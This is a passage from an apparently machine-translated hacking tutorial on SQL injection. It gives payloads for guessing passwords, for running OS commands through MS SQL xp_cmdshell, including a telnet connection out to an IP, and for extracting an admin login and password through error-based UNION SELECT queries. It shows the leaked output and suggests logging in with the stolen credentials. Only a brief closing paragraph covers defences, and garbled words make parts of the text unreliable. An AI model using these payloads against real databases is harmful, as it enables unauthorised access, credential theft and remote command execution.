If the found password and login do not suit you, you can find others. To do this, you need to start checking from the last character of the found password. So, if the password was “xxx”, it is necessary to check the existence of the password
"xxxy":

‘OR password=’xxx

so as not to miss out on more than one option!

MS SQL Server

MS SQL Server is generally a godsend if the necessary filtering is missed. Using the SQL Injection vulnerability you can execute
commands on the remote server using exec master..xp_cmdshell. But to use this design
the SELECT operation must be completed. In SQL, statements are separated by semicolons. Therefore, to connect to some IP via Telnet, you need to type in the password/login location:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server has several more interesting features that allow you to find out logins and passwords stored in the database. To do this, error output is redirected to an arbitrary server and through them
analysis, you can find out the name of the table, fields and their types. After which you can request

‘ UNION SELECT TOP 1 login FROM users—

(login is the name of the field containing the login, and users is the name of the table,
semi-scientists in the process of error analysis).

The answer might be:


Syntax error converting the nvarchar value "admin" to a column of data type int. !}
/default.asp, line 27

Now we know that there is a user named "admin". Now we can get his password:

‘ UNION SELECT TOP 1 password FROM users where login=’admin’—

Result:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "xxx" to a column of data type int. !}
/tedault.asp, line 27

Now we know that there is a user “admin” with a password “xxx”. With this you can safely
use it and log in to the system 😉

But there are many other functions for working with SQL,
When working with a database, you can also delete data, modify it, insert your own, and even manipulate files and work with the registry.
In general, SQL Server rules :)

Protection

But of course all this can be avoided. To do this you can
use filters,
provided by manufacturers. You can find your own solutions, for example, replacing all single
double quotes (if for SQL request we use single ones), or vice versa. You can only allow the use of letters and s@baki, if you need to enter
email address. And in pearl there is an amazing
the 🙂 quote() function in the DBI::DBD module, which successfully makes your query safe with respect to SQL. There are many solutions, you just need them
take advantage of. Otherwise, why then all this...